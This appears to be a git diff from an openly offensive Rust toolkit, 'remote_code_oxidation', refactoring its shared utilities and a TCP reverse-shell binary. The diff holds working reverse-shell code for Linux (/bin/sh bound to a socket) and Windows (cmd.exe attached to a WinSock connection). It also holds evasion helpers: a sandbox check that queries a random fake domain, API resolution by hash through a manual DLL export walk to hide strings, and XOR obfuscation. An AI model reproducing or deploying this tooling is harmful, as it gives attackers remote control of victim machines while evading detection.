a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index 575a33e..85d61e0 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -1,9 +1,12 @@ [package] -name = "rco_utils" -version = "1.0.1" -edition = "2021" authors = ["Kevin Conley "] +description = "Shared functions for \"Remote Code Execution\"'s (RCO's) binaries" +edition = "2021" +license = "MIT" +name = "rco_utils" +repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/rco_utils" rust-version = "1.59" +version = "1.2.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -16,7 +19,7 @@ antistring = ["windows"] rand.optional = true rand.version = ">=0.8.5" windows.optional = true -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Networking", @@ -24,4 +27,4 @@ windows.features = [ "Win32_System_Diagnostics_Debug", "Win32_System_LibraryLoader", "Win32_System_SystemInformation", - "Win32_System_SystemServices" ] \ No newline at end of file + "Win32_System_SystemServices" ] diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index e9081d8..b2a1ab0 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -1,28 +1,22 @@ -#[cfg(feature = "antistring")] -use std::collections::hash_map::DefaultHasher; use std::error::Error; -#[cfg(feature = "antistring")] -use std::hash::{Hash, Hasher}; - -#[cfg(all(windows, feature = "antisand", feature = "antistring"))] -use core::ffi::c_void; -#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] -use std::ffi::CString; -#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] -use windows::core::PCSTR; +// Things Antisand needs #[cfg(all(windows, feature = "antisand"))] use rand::distributions::Alphanumeric; #[cfg(all(windows, feature = "antisand"))] use rand::Rng; + +// Things Antistring needs +#[cfg(feature = "antistring")] +use std::collections::hash_map::DefaultHasher; #[cfg(all(windows, feature = "antistring"))] use std::ffi::CStr; +#[cfg(feature = "antistring")] +use std::hash::{Hash, Hasher}; #[cfg(all(windows, feature = "antistring"))] use std::mem; #[cfg(all(windows, feature = "antistring"))] use std::ptr; -#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] -use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; #[cfg(all(windows, feature = "antistring"))] use windows::Win32::System::Diagnostics::Debug::{ IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, @@ -32,6 +26,53 @@ use windows::Win32::System::LibraryLoader::LoadLibraryA; #[cfg(all(windows, feature = "antistring"))] use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}; +// Things Antisand and Antistring need +#[cfg(all(windows, feature = "antisand", feature = "antistring"))] +use core::ffi::c_void; +#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] +use windows::core::PCSTR; + +// Things Antisand needs only when Antistring is not set +#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] +use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; + +/* + Macros before functions +*/ + +#[macro_export] +macro_rules! construct_win32_function { + // Take in: + // one x - the function pointer + // zero or more y - the function argument data types + // zero or more z - the function return data types + ( + $( + $x:expr; [ $( $y:ty ),* ]; [ $( $z:ty ),* ] + );* + ) => { + // Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z" + // Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html + // this is a safe transmute because it will be guaranteed on Windows + // So the macro is safe despite the unsafe code + unsafe { + std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*) + } + } +} + +/* + Calculate the hash of a hashable value +*/ + +#[cfg(feature = "antistring")] +pub fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} + + /* Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer */ @@ -48,176 +89,14 @@ fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> ) } -/* - Helper function for XOR - XORs two slices of equal length -*/ - -#[cfg(feature = "xor")] -fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box> { - if slice_one.len() != slice_two.len() { - return Err("The given slices are not the same length".into()); - } - Ok(slice_one - .iter() - .zip(slice_two.iter()) - .map(|(&x1, &x2)| x1 ^ x2) - .collect()) -} - -/* - XOR implementation - takes in a key and a value and outputs the key ^ value byte-bye-byte -*/ - -#[cfg(feature = "xor")] -pub fn xor_encrypt_decrypt(key: &[u8], text: &[u8]) -> Result, Box> { - let equalilzed = equalize_slice_len(key, text); - let key: &[u8] = &equalilzed.0[..]; - let text: &[u8] = &equalilzed.1[..]; - xor_u8_slices(key, text) -} - -/* - XOR not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy -*/ - -#[cfg(not(feature = "xor"))] -pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result, Box> { - Ok(text.to_vec()) -} - -/* - Antisand Windows implementation - basically looks to see if something fakes a response to a website -*/ - -#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] -pub fn pound_sand() -> bool { - // Call InternetOpenA to get a handle that can be used in an actual internet request - // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena - // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html - let mut lpsz_agent = PCSTR::null(); - lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; - let lpsz_proxy = PCSTR::null(); - let lpsz_proxy_bypass = PCSTR::null(); - let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) }; - - // Generate a "website" to search for - let length = rand::thread_rng().gen_range(20..40); - let alphanum: String = rand::thread_rng() - .sample_iter(&Alphanumeric) - .take(length) - .map(char::from) - .collect(); - let mut full_link: String = "https://www.".to_owned(); - let link_end: String = ".com".to_owned(); - full_link.push_str(&alphanum); - full_link.push_str(&link_end); - - // Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action - // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla - // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html - let mut lpsz_url = PCSTR::null(); - lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; - let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) }; - if website != 0 as _ { - return true; - } - false -} - -/* - Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website -*/ - -#[cfg(all(windows, feature = "antisand", feature = "antistring"))] -pub fn pound_sand() -> bool { - // See line 90 - let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap(); - let mut lpsz_agent = PCSTR::null(); - lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; - let lpsz_proxy = PCSTR::null(); - let lpsz_proxy_bypass = PCSTR::null(); - let internet_handle = unsafe { - mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)( - lpsz_agent, - 0, - lpsz_proxy, - lpsz_proxy_bypass, - 0, - ) - }; - - let length = rand::thread_rng().gen_range(20..40); - let alphanum: String = rand::thread_rng() - .sample_iter(&Alphanumeric) - .take(length) - .map(char::from) - .collect(); - let mut full_link: String = "https://www.".to_owned(); - let link_end: String = ".com".to_owned(); - full_link.push_str(&alphanum); - full_link.push_str(&link_end); - - // See line 111 - let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap(); - let mut lpsz_url = PCSTR::null(); - lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; - let website = unsafe { - mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>( - function, - )(internet_handle, lpsz_url, &[], 0, 0) - }; - if website != 0 as _ { - return true; - } - false -} - -/* - Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing) -*/ - -#[cfg(all(target_os = "linux", feature = "antisand"))] -pub fn pound_sand() -> bool { - false -} - -/* - Antisand not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy -*/ - -#[cfg(not(feature = "antisand"))] -pub fn pound_sand() -> bool { - false -} - -/* - Calculate the has of a hashable value -*/ - -#[cfg(feature = "antistring")] -pub fn calculate_hash(t: &T) -> u64 { - let mut s = DefaultHasher::new(); - t.hash(&mut s); - s.finish() -} - /* Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly */ #[cfg(all(windows, feature = "antistring"))] -pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box> { - // Call LoadLibraryA on a DLL to get its base address - let mut lib_filename = PCSTR::null(); - lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8; - let library_base = match unsafe { LoadLibraryA(lib_filename) } { - Ok(value) => value, - Err(_) => panic!("Could not load {lib_filename:?}"), - }; - let library_base_usize = library_base.0 as usize; - +pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Result<*const (), Box> { // Get a pointer to the DOS header - let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER; + let dos_header: *const IMAGE_DOS_HEADER = library_base_usize as *const IMAGE_DOS_HEADER; // Calculate the address of the image headers let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { @@ -283,26 +162,158 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box return Ok(function_address); } } - Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into()) + Err(format!("Could not find the function '{name_hash:x}'").into()) } -#[macro_export] -macro_rules! construct_win32_function { - // Take in: - // one x - the function pointer - // zero or more y - the function argument data types - // zero or more z - the function return data types - ( - $( - $x:expr; [ $( $y:ty ),* ]; [ $( $z:ty ),* ] - );* - ) => { - // Interpret the memory at the provided function pointer "x" as a function with args "y" and return "z" - // Based on https://rust-lang.github.io/unsafe-code-guidelines/layout/function-pointers.html - // this is a safe transmute because it will be guaranteed on Windows - // So the macro is safe despite the unsafe code - unsafe { - std::mem::transmute::<*const (), unsafe fn( $($( $y ),*),* ) -> $($( $z ),*),*>($( $x ),*) - } - } +/* + Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly +*/ + +#[cfg(all(windows, feature = "antistring"))] +pub fn find_library_address(dll: &str) -> Result> { + // Call LoadLibraryA on a DLL to get its base address + let lib_filename = PCSTR::from_raw(format!("{dll}\0").as_mut_ptr()); + let library_base = match unsafe { LoadLibraryA(lib_filename) } { + Ok(value) => value, + Err(_) => panic!("Could not load {lib_filename:?}"), + }; + + Ok(library_base.0 as usize) +} + +/* + Antisand Windows implementation - basically looks to see if something fakes a response to a website +*/ + +#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] +pub fn pound_sand() -> bool { + // Call InternetOpenA to get a handle that can be used in an actual internet request + // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena + // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html + let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr()); + let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, PCSTR::null(), PCSTR::null(), 0) }; + + // Generate a "website" to search for + let length = rand::thread_rng().gen_range(20..40); + let alphanum: String = rand::thread_rng() + .sample_iter(&Alphanumeric) + .take(length) + .map(char::from) + .collect(); + let mut full_link: String = "https://www.".to_owned(); + let link_end: String = ".com".to_owned(); + full_link.push_str(&alphanum); + full_link.push_str(&link_end); + + // Call InternetOpenUrlA on the fake website; if there is a response, it's a sandbox trying to get you to take further action + // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla + // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html + let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr()); + let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, None, 0, 0) }; + if website != 0 as _ { + return true; + } + false +} + +/* + Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website +*/ + +#[cfg(all(windows, feature = "antisand", feature = "antistring"))] +pub fn pound_sand() -> bool { + // Get location of Wininet.dll + let wininet = find_library_address("Wininet").unwrap(); + + // See line 90 + let function = find_function_address(wininet, 0x4b98c7b42f5ce34f).unwrap(); + let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr()); + let internet_handle = unsafe { + mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)( + lpsz_agent, + 0, + PCSTR::null(), + PCSTR::null(), + 0, + ) + }; + + let length = rand::thread_rng().gen_range(20..40); + let alphanum: String = rand::thread_rng() + .sample_iter(&Alphanumeric) + .take(length) + .map(char::from) + .collect(); + let mut full_link: String = "https://www.".to_owned(); + let link_end: String = ".com".to_owned(); + full_link.push_str(&alphanum); + full_link.push_str(&link_end); + + // See line 111 + let function = find_function_address(wininet, 0x275e2d4fe536ed19).unwrap(); + let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr()); + let website = unsafe { + mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>( + function, + )(internet_handle, lpsz_url, &[], 0, 0) + }; + if website != 0 as _ { + return true; + } + false +} + +/* + Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing) +*/ + +#[cfg(all(target_os = "linux", feature = "antisand"))] +pub fn pound_sand() -> bool { + false +} + +/* + Antisand not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy +*/ + +#[cfg(not(feature = "antisand"))] +pub fn pound_sand() -> bool { + false +} + +/* + XOR implementation - takes in a key and a value and outputs the key ^ value byte-bye-byte +*/ + +#[cfg(feature = "xor")] +pub fn xor_encrypt_decrypt(key: &[u8], text: &[u8]) -> Result, Box> { + let equalilzed = equalize_slice_len(key, text); + let key: &[u8] = &equalilzed.0[..]; + let text: &[u8] = &equalilzed.1[..]; + xor_u8_slices(key, text) +} + +/* + XOR not-asked-for "implementation" - this is a dummy that will never do anything except make the compiler happy +*/ + +#[cfg(not(feature = "xor"))] +pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result, Box> { + Ok(text.to_vec()) +} + +/* + Helper function for XOR - XORs two slices of equal length +*/ + +#[cfg(feature = "xor")] +fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result, Box> { + if slice_one.len() != slice_two.len() { + return Err("The given slices are not the same length".into()); + } + Ok(slice_one + .iter() + .zip(slice_two.iter()) + .map(|(&x1, &x2)| x1 ^ x2) + .collect()) } diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index d2aec97..a9710f3 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -1,9 +1,13 @@ [package] -name = "tcp_reverse_shell" -version = "1.3.1" -edition = "2021" authors = ["Kevin Conley "] +description = "Creates a reverse shell (default to localhost:4444)" +documentation = "https://kmanc.github.io/remote_code_oxidation/tcp_reverse_shell.html" +edition = "2021" +license = "MIT" +name = "tcp_reverse_shell" +repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/tcp_reverse_shell" rust-version = "1.59" +version = "1.5.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -12,11 +16,11 @@ antisand = ["rco_utils/antisand"] antistring = ["rco_utils/antistring"] [dependencies] -rco_config = {path = "../rco_config"} -rco_utils = {path = "../rco_utils"} +rco_config = {path = "../rco_config", version = ">=0.2.0"} +rco_utils = {path = "../rco_utils", version = ">=1.0.1"} [target.'cfg(windows)'.dependencies] -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs index d46b7dc..01d7305 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_linux/mod.rs @@ -1,5 +1,5 @@ use std::net::TcpStream; -use std::os::unix::io::{AsRawFd, FromRawFd}; +use std::os::unix::io::OwnedFd; use std::process::{Command, Stdio}; pub fn shell(ip: &str, port: u16) { @@ -9,14 +9,14 @@ pub fn shell(ip: &str, port: u16) { let stream = TcpStream::connect(ip_port).unwrap(); // Use the stream as a file descriptor for sending stdin/stdout/stderr - let fd = stream.as_raw_fd(); + let fd = OwnedFd::from(stream); // Open shell and set the file descriptor for stdin/stdout/stderr to the stream's file descriptor Command::new("/bin/sh") .arg("-i") - .stdin(unsafe { Stdio::from_raw_fd(fd) }) - .stdout(unsafe { Stdio::from_raw_fd(fd) }) - .stderr(unsafe { Stdio::from_raw_fd(fd) }) + .stdin( Stdio::from(fd.try_clone().unwrap()) ) + .stdout( Stdio::from(fd.try_clone().unwrap()) ) + .stderr( Stdio::from(fd) ) .spawn() .unwrap() .wait() diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs index edb5d15..216fb24 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs @@ -1,9 +1,10 @@ -use std::ffi::{c_void, CStr, CString}; -use std::{mem, ptr, slice}; +use core::ffi::c_void; +use std::mem; +use std::ffi::CStr; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::HANDLE; use windows::Win32::Networking::WinSock::{ - connect, htons, inet_pton, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR_IN, + connect, htons, inet_pton, WSASocketA, WSAStartup, AF_INET, IPPROTO_TCP, SOCKADDR, SOCKADDR_IN, SOCKET, SOCK_STREAM, WSADATA, }; use windows::Win32::Security::SECURITY_ATTRIBUTES; @@ -49,7 +50,7 @@ pub fn shell(ip: &str, port: u16) { // This is magic that I don't really understand but seems to work let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; // Create a PCSTR and use the IP string as the 0 field - let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8); + let ip_pcstr = PCSTR::from_raw(format!("{ip}\0").as_mut_ptr()); // Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; if conversion_result != 1 { @@ -64,14 +65,7 @@ pub fn shell(ip: &str, port: u16) { // Connect the socket! // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html - let sockaddr_slice = unsafe { - slice::from_raw_parts( - (&sockaddr_in as *const SOCKADDR_IN) as *const u8, - mem::size_of::(), - ) - }; - - let connection_result = unsafe { connect(socket, sockaddr_slice) }; + let connection_result = unsafe { connect(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::() as _) }; if connection_result != 0 { panic!("Unable to call connect to the remote socket") } @@ -97,11 +91,7 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_command_line = PSTR( - CString::new(format!("{system_dir}\\cmd.exe")) - .unwrap() - .into_raw() as *mut u8, - ); + let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr()); let create_res = unsafe { CreateProcessA( PCSTR::null(), @@ -110,7 +100,7 @@ pub fn shell(ip: &str, port: u16) { Some(&SECURITY_ATTRIBUTES::default()), true, PROCESS_CREATION_FLAGS::default(), - ptr::null(), + None, PCSTR::null(), &startup_info, &mut PROCESS_INFORMATION::default(), diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs index f8b81d4..996798a 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs @@ -1,4 +1,4 @@ -use std::ffi::{c_void, CStr, CString}; +use std::ffi::{c_void, CStr}; use std::{mem, ptr}; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; @@ -15,13 +15,16 @@ use windows::Win32::System::Threading::{ const WSASTARTUPVAL: u16 = 514; pub fn shell(ip: &str, port: u16) { + // Get location of Ws2_32.dll + let ws2_32 = rco_utils::find_library_address("Ws2_32").unwrap(); + // See line 15 - let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xedf45b56dba24418).unwrap(); let function = rco_utils::construct_win32_function!(function; [u16, &mut WSADATA]; [()]); unsafe { function(WSASTARTUPVAL, &mut WSADATA::default()) }; // See line 28 - let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xad51563d572a6798).unwrap(); let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]); let socket = unsafe { function( @@ -35,23 +38,23 @@ pub fn shell(ip: &str, port: u16) { }; // See line 42 - let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xf6d69fad519d46a0).unwrap(); let mut sockaddr_in = SOCKADDR_IN { sin_family: AF_INET.0 as u16, ..Default::default() }; let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; - let ip_pcstr = PCSTR(CString::new(ip).unwrap().into_raw() as *mut u8); + let ip_pcstr = PCSTR::from_raw(format!("{ip}\0").as_mut_ptr()); let function = rco_utils::construct_win32_function!(function; [i32, PCSTR, *mut c_void]; [i32]); unsafe { function(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; // See line 68 - let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0x57420f0d05112fd1).unwrap(); let function = rco_utils::construct_win32_function!(function; [u16]; [u16]); sockaddr_in.sin_port = unsafe { function(port) }; // See line 77 - let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xcbfa974b4e43f414).unwrap(); let function = rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]); unsafe { function( @@ -61,8 +64,11 @@ pub fn shell(ip: &str, port: u16) { ) }; + // Get location of Ws2_32.dll + let kernel32 = rco_utils::find_library_address("Kernel32").unwrap(); + // See line 91 - let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x9822936f60f9a914).unwrap(); let lp_buffer: &mut [u8] = &mut [0; 50]; let function = rco_utils::construct_win32_function!(function; [&mut [u8]]; [()]); unsafe { function(lp_buffer) }; @@ -70,7 +76,7 @@ pub fn shell(ip: &str, port: u16) { let system_dir = system_dir.to_str().unwrap(); // See line 103 - let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x6fe222ff0e96f5c4).unwrap(); let mut startup_info = STARTUPINFOA { cb: mem::size_of::() as u32, dwFlags: STARTF_USESTDHANDLES, @@ -81,11 +87,7 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdInput = unsafe { *sock_handle }; startup_info.hStdOutput = unsafe { *sock_handle }; startup_info.hStdError = unsafe { *sock_handle }; - let lp_command_line = PSTR( - CString::new(format!("{system_dir}\\cmd.exe")) - .unwrap() - .into_raw() as *mut u8, - ); + let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr()); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]); unsafe { function( diff --git a/xor_params/Cargo.toml b/xor_params/Cargo.toml index fd843b7..decaa99 100644 --- a/xor_params/Cargo.toml +++ b/xor_params/Cargo.toml @@ -1,9 +1,9 @@ [package] -name = "xor_params" -version = "1.2.0" -edition = "2021" authors = ["Kevin Conley "] +edition = "2021" +name = "xor_params" rust-version = "1.59" +version = "1.2.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html